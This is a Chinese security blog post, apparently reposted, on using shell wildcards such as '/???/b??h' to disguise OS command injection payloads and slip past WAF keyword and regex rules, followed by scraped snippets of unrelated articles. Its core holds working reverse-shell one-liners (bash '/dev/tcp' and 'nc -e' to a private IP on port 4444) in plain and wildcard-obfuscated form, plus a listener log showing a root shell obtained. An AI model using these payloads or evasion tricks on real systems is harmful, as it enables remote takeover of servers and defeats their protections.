WEB安全番外第五篇--关于使用通配符进行OS命令注入绕WAF

一、通配符简介:

一般来讲,通配符包含*和?,都是英文符号,*用来匹配任意个任意字符,?用来匹配一个任意字符。

举个例子使用通配符查看文件,可以很名下看到打卡的文件是/etc/resolv.conf:

1 └─[$]> sudo head -5 /???/r????v.c??f
2 #
3 # macOS Notice
4 #
5 # This file is not consulted for DNS hostname resolution, address
6 # resolution, or the DNS query routing mechanism used by most

同理,删除文件的时候,如果删除所有a开头的文件:

1 rm -f a*

以上大概简要说明了什么是通配符

二、支持通配符的shell

从上文中可以看出Linux、Unix类操作系统命令行对于参数或者命令的值是支持通配符的,name命令本身是否支持通配符呢?

 1 └─[$]> sudo /???/c?t /???/r????v.?o?f
 2 #
 3 # macOS Notice
 4 #
 5 # This file is not consulted for DNS hostname resolution, address
 6 # resolution, or the DNS query routing mechanism used by most
 7 # processes on this system.
 8 #
 9 # To view the DNS configuration used by this system, use:
10 #   scutil --dns
11 #
12 # SEE ALSO
13 #   dns-sd(1), scutil(8)
14 #
15 # This file is automatically generated.
16 #

可以看出来,命令部分识别/???/c?t => /bin/cat

三、WAF规则集:

WAF对于payload部分的检测和响应(放行还是阻断)基于WAF引擎的固有的一套规则

例如对于OS Command Injection的payload过滤:

rule1   -> 过滤 | (%7c)字符 &的URL编码%26 甚至/(%2f)等等,过滤反引号``

rule2  -> 过滤命令关键字等等

rule3  -> 正则表达式匹配

四、绕WAF

1、发现/etc/passwd ->会报警,/???/p????d则不会,因为匹配的正则很可能这么写的匹配/[\w]{1,}/[\w]{1,} 对于rule3

2、举一个反弹shell的bash简单命令,这个对于rule2比较合适

//正常的反弹shell的命令
#bash -i >& /dev/tcp/192.168.1.102/4444 0>&1
#/???/b??h -i >& /dev/tcp/192.168.1.102/4444 0>&1
可以成功

在测试一个使用nc直接反弹的例子:

1 #正常情况下:
2 nc -e /bin/bash 192.168.1.101 4444
3 nv -p 4444 -l -v

可以转换成:

1 /???/nc -e /???/b??h 192.168.1.101 4444
2 # 我这里/bin下有个nl命令,所以n?打不出来,否则可以用n?来替换nc,且ip地址可以转换成为长整数

结果

1 [********@***]# nc -p 4444 -l -v
2 Ncat: Version 6.40 ( http://nmap.org/ncat )
3 Ncat: Listening on :::4444
4 Ncat: Listening on 0.0.0.0:4444
5 Ncat: Connection from ******.
6 Ncat: Connection from ******:43568.
7 whoami
8 root

搞定了

综上,这个办法还是很有用的。

原文地址:https://www.cnblogs.com/KevinGeorge/p/8444583.html

时间: 2024-10-07 08:21:35

WEB安全番外第五篇--关于使用通配符进行OS命令注入绕WAF的相关文章

WEB安全番外第六篇--关于通过记录渗透工具的Payload来总结和学习测试用例

背景: 在WEB安全的学习过程中,了解过了原理之后,就是学习各种Payload,这里面蕴藏着丰富的知识含量,是在基本上覆盖了漏洞原理之后的进一步深入学习的必经之路.无理是Burpsuite还是Sqlmap.Awvs亦或是其他工具,包括人工收工构造的Payload都有很高的记录和学习意义,一方面如上所说的提高对WEB安全的掌握和理解,另一方面也对WEB安全自动化测试做积累. 需求: 记录WEB安全各种报文payload的工具 开发语言: Python2.7 依赖第三方库: pypcap dpkt

web前端入坑第五篇:秒懂Vuejs、Angular、React原理和前端发展历史

秒懂Vuejs.Angular.React原理和前端发展历史 2017-04-07 小北哥哥 前端你别闹 今天来说说 "前端发展历史和框架" 「前端程序发展的历史」 「 不学自知,不问自晓,古今行事,未之有也 」 我们都知道如今流行的框架:Vue.Js.AngularJs.ReactJs.已经逐渐应用到各个项目和实际应用中,它们都是MVVM数据驱动框架系列的一种. 在了解MVVM之前,我们先回想一下前端发展的历史阶段,做到心中有数,才会更好理解. 这段回想历史.由于网上就可查不少资料,

WEB安全番外第二篇--明日之星介绍HTML5安全问题介绍

一.CORS领域问题: 1.CORS的介绍请参考:跨域资源共享简介 2.HTML5中的XHR2级调用可以打开一个socket连接,发送HTTP请求,有趣的是,上传文件这里恰恰是multi-part/form-data恰恰符合要求,不需要preflight,所而且可以带cookie等认证信息.完美的绕过了所有的跨域共享防御机制. 1 <script language=javascript type=text/javascript> 2 functiongetMe() 3 { 4 varhttp;

Python 项目实践三(Web应用程序)第五篇

接着上节继续学习,在这一节,我们将建立一个用户注册和身份验证系统,让用户能够注册账户,进而登录和注销.我们将创建一个新的应用程序,其中包含与处理用户账户相关的所有功能.我们还将对模型Topic稍做修改,让每个主题都归属于特定用户. 一 创建用户账号 1 应用程序users 我们首先使用命令startapp来创建一个名为users的应用程序:(ll_env)learning_log$ python manage.py startapp users 1.1 将应用程序users添加到settings

web前端【第十五篇】popup简单使用(弹出页面)

一.首先说一下自执行函数 1. 立即执行函数是什么?也就是匿名函数 立即执行函数就是 声明一个匿名函数 马上调用这个匿名函数 2.popup的举例 点击,弹出一个新的窗口.保存完事,页面不刷新数据就返回了.(点击admin的+,弹出的框就是用popup来做的) 具体操作步骤: 1.urls.py urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'^index/', views.index), url(r'^pop/', views.p

web前端入坑第四篇:你还在用 jQuery?

web前端入坑第四篇:你还在用 jQuery? 大妈都这么努力,我们有几个人回家还看书的? 先来补齐[web前端入坑系列]前三篇的连接web前端入坑系列:点击标题进入第一篇: web 前端入坑第一篇:web前端到底是什么?有前途吗第二篇: web前端入坑第二篇:web前端到底怎么学?干货资料!第三篇:web前端入坑第三篇 | 一条"不归路" - 学习路线! 再说这个话题之前,我们先来扫盲普及一下 [jquery] 到底是什么以及它火爆将近十年的重要原因. [ 重新认识 - Jquery

(5.2)uboot详解——省电模式(番外)

(5.2)uboot详解--省电模式(番外) 这篇文章将对uboot的省电模式进行分析,这里介绍的内容与uboot的启动其实关系不大,如果关心uboot的启动过程,可以跳过这节以及后面的小节,直接到第6章. 省电模式和cpu的工作模式(异常)其实关系也不大,省电模式主要是依靠时钟来分类的,因为外设的工作必须要时钟,当停止给外设提供时钟的时候,相应的外设也会停止工作,所以省电管理就是根据控制是否给相应的设备提供时钟或电源来达到节电的目的. ARM有四中节电模式: 普通模式:这种模式下,会给所有的外

WEB安全第一篇--对服务器的致命一击:代码与命令注入

零.前言 最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件.底层安全.漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的payload技巧以便于备忘.不是大神.博客内容非常基础,如果真的有人看而且是大牛们,请不要喷我,欢迎指正我的错误(水平有限). 一.基本原理: 1.代码注入和命令注入的本质: 用户输入没有经过过滤而且与程序员开发的代码拼接后构成完成的可执行的代码段被服务器执行(命令也是代码的一部分,不过是拼接在命令执行

编程珠玑番外篇

1.Plan 9 的八卦 在 Windows 下喜欢用 FTP 的同学抱怨 Linux 下面没有如 LeapFTP 那样的方便的工具. 在苹果下面用惯了 Cyberduck 的同学可能也会抱怨 Linux 下面使用 FTP 和 SFTP 是一件麻烦的事情. 其实一点都不麻烦, 因为在 LINUX 系统上压根就不需要用 FTP. 为什么呢? 因为一行简单的配置之后, 你就可以像使用本机文件一样使用远程的任何文件. 无论是想编辑, 查看还是删除重命名, 都和本机文件一样的用. 这么神奇的功能到底如何